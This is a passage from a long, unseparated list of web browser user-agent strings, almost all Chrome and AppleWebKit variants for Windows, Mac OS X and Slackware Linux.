(Macintosh; U; Mac OS X 10_5_7; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/11.0.696.50 Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/12.0.742.91 Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Mozilla/5.0 (Windows 8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.43 Safari/534.24 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.700.3 Safari/534.24 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.704.0 Safari/534.25 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.809.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.860.0 Safari/535.2 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.864.0 Safari/535.2 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.6 Safari/537.11 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.1 Safari/535.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 Mozilla/5.0 (Windows NT 6.0) yi; AppleWebKit/345667.12221 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/453667.1221 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.113 Safari/534.30 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.812.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.10913 Safari/535.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.8 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.0 Safari/537.13 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.750.0 Safari/534.30 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.30 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.814.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/17.0.940.0 Safari/535.8 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/537.11 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.17 Safari/537.11 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36 Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 Mozilla/5.0 (Windows NT 7.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA) AppleWebKit/534.13 (KHTML like Gecko) Chrome/9.0.597.98 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13(KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/525.13. Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.18 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.48 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/528.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Version/3.2.1 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.170.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.42 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.8 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.178.0 Safari/530.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML,like Gecko) Chrome/3.0.195.27 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.201.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) 